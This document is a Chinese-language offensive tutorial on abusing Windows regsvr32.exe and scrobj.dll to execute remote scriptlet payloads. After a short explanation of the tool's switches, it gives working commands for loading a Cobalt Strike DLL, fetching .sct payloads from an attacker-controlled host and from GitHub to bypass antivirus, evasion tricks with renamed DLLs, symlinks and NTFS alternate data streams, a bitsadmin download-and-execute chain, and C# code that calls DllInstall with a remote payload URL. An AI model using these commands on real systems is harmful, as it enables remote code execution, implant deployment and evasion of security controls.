3.regsvr32 使用说明

regsvr32 使用说明

0x00 regsvr32 简介

在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具。(activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex控件注册)。Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

0x01 regsvr32存放路径

WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;

2000系统的regsvr32.exe在winnt\system32文件夹。

0x02 regsvr32 用法

"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。

其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。

参数有如下意义:

/u——反注册控件(卸载com组建)

/s——不管注册成功与否,均不显示提示框(静默模式,不弹框)

/c——控制台输出

/i——跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。)

/n——不注册控件,此选项必须与/i选项一起使用

Scrobj.dll:com服务器,全名Windows Script Component,DllInstall方法在这个组件中实现。

eg

regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll

sct文件的调用在scrobj.dll中的install过程,可以理解为regsvr32 只不过是负责调用 dll 的一个工具,可能还会有写入注册表的功能。

0x03 regsvr32 命令执行案例

Regsvr32.exe直接调用dll程序

1、Cobalstrike 生成dll文件

2、Regsvr32.exe直接调用dll程序

c:\Windows\System32\regsvr32.exe artifact.dll

3、cs成功上线

通过 sct 远程执行绕过防病毒

这里前提需要将 exe 文件上传到目标主机 本文上传到c:\test.exe

payload.sct文件内容如下:

progid="Pentest"

classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >

上面代码可以上传到Github等白名单域名 本文使用Cobalt Strike自带的服务来搭建 顺便介绍功能

打开>Web Drive-by>Host File

regsvr32 /u /n /s /i:http://192.168.130.130:80/payload.sct scrobj.dll

调用scrobj.dll 绕过方法

改变 scrobj.dll 的名称

copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll

为 scrobj.dll 创建符号链接

Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll

利用 NTFS ADS 功能绕过

type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere

Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere

先将 sct 文件放到本地,然后执行

bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll

Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll

直接调用scrobj.dll的DllInstall方法

其实可以不用regsvr32.exe,使用他的目的是因为他是 windows 自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用 scrobj.dll 的 DllInstall 方法实现代码执行。C#代码如下:

using System;

using System.Reflection;

using System.Runtime.InteropServices;

using System.ComponentModel;

namespace scrobj_call_csharp

{

static class NativeMethod

{

[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]

public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);

[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]

public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

}

class Program

{

[UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]

private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);

static void Main(string[] args)

{

const string dllPath = "scrobj.dll";

IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);

if (hDllScr == IntPtr.Zero)

{

var lasterror = Marshal.GetLastWin32Error();

var innerEx = new Win32Exception(lasterror);

innerEx.Data.Add("LastWin32Error", lasterror);

throw new Exception("Can't load Dll " + dllPath, innerEx);

}

IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");

DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));

fDllInstall(false, "http://192.168.50.129:80/payload.sct");

}

}

}

成功调用scrobj.dll的DllInstall 方法实现代码执行。